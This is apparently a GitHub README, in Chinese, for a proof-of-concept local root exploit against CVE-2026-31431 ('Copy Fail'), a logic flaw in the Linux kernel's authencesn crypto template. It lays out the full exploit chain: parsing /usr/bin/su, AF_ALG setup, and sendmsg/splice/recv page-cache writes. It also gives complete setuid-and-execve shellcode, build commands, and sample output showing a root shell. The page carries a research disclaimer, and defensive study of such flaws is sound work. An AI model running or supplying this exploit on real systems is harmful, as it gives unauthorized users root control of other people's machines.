Smarttfoxx/copyfail
GitHub: Smarttfoxx/copyfail
CVE-2026-31431 的本地权限提升 PoC,通过 Linux 内核 authencesn 加密模板的逻辑缺陷实现页缓存受控 4 字节写入,最终获取 root 权限。
Stars: 0 | Forks: 0
# 复制失败 - CVE-2026-31431 PoC
针对 **CVE-2026-31431**(Copy Fail)的本地权限提升漏洞利用程序,这是 Linux 内核的 `authencesn` 加密模板中的一个逻辑缺陷,允许无特权的本地用户对任何可读文件的页缓存执行受控的 4 字节写入。
## 工作原理
1. **ELF 解析** — 通过 `PT_LOAD` 程序头,将 `/usr/bin/su` 的入口点虚拟地址解析为文件偏移量
2. **AF_ALG 设置** — 使用零密钥绑定到 `authencesn(hmac(sha256),cbc(aes))`
3. **4 字节页缓存写入** — 针对 shellcode 负载的每个数据块:
- `sendmsg()` 发送带有 shellcode 字节作为 `seqno_lo`(第 4-7 字节)的 AAD,并带有 `MSG_MORE` 标志
- `splice()` 传递目标文件页缓存页面的 32 字节作为 AEAD 身份验证标签
- `recv()` 触发解密 — `authencesn` 的临时写入会落入链接的页缓存页面中,写入 4 个受控字节。HMAC 验证失败 (EBADMSG),但写入操作依然生效
4. **权限提升** — `execl("/usr/bin/su")` 加载被破坏的页缓存。40 字节的 shellcode(`setuid(0)` + `execve("/bin/sh")`)以 setuid-root 权限运行
## Shellcode
```
xor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
```
## 构建
需要 `musl-gcc` 或任何支持静态链接的 C 编译器:
```
musl-gcc -static -O2 -s -o copyfail exploit.c
```
或者使用 GCC + glibc:
```
gcc -static -O2 -s -o copyfail exploit.c
```
## 用法
```
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
```
## 参考
- [Copy Fail: 732 Bytes to Root on Every Major Linux Distribution](https://xint.io/blog/copy-fail-linux-distributions)
- [修复提交 a664bf3d](https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
- [由提交 72548b093ee3 引入](https://github.com/torvalds/linux/commit/72548b093ee3) (2017)
## 免责声明
此概念验证仅供授权的安全研究和教育目的使用。未经授权对您不拥有或未获得明确测试许可的系统进行使用是违法的。
标签:AF_ALG, CVE-2026-31431, ELF解析, Linux内核漏洞, LPE, PoC, Shellcode, splice系统调用, Web报告查看器, 二进制分析, 云安全运维, 任意地址写, 内存破坏, 协议分析, 子域名枚举, 安全渗透, 客户端加密, 密码学模板, 技术调研, 提权, 暴力破解, 本地提权, 权限提升, 系统安全, 网络安全, 隐私保护, 零日漏洞, 页面缓存损坏